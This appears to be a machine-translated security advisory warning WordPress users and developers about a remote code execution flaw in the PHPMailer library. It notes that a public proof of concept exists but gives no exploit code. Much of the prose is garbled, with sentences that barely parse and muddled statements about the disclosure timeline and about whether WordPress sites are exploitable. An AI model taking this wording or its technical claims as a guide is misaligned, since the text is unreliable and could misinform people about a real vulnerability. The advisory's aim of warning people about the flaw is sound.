Recently, Polish researchers Dawid Golunski discovered a present in the PHPMailer in a serious remote code execution vulnerability. The vulnerabilities in yesterday's legalhackers. com published on, but the exploit details of a proof-of-concept and is not included. Unfortunately in a couple of hours ago, it was to exploit-db and github released a proof-of-concept that demonstrates how the PHPMailer library to exploit this vulnerability, but for security reasons not for any one being put to use in the Web application. We were preparing to publish this originally in the plan update, in order to provide PHP developers and our communities advance warning of this problem. Because we estimate that as more developers and with evil intentions in the people view to the above proof of concept code will cause this event continues brewing. PHPMailer is WordPress used to send e-mail to the core portion. You can in wp-includes / class-smtp. php core file to find the code. Don't panic Note: both for WordPress core or any WordPress theme or plugin, there is currently no disclosure of possible exploit code. We see that the only exploit is the researchers for their own applications was verified, demonstrating PHPMailer in the presence of this vulnerability. （As follows） Please do not contact the WordPress core team, the WordPress Forum moderators or anyone else, tell them“your WordPress website will be using”, this will cause unnecessary panic. This study is still ongoing, we keep you ahead of realized the problem there are two main reasons: 1. From the user's perspective, once the solution is released, you can be ready to upgrade the WordPress core and any other affected themes and plugins. 2. From a developer's perspective, if he uses this version contains a vulnerability in PHPMailer, you can begin to repair the code so that as soon as released to the user. Vulnerability details If you are not familiar with the RCE vulnerability, then this would be the worst case. In WordPress history of all critical vulnerabilities are remote code execution vulnerability, which allows attackers to the victims on the website to perform your own code to control the entire site. We the PHPMailer in the affected code with a brief analysis. In order to exploit this vulnerability, the attacker seems to need to be able to control the sender's email address.
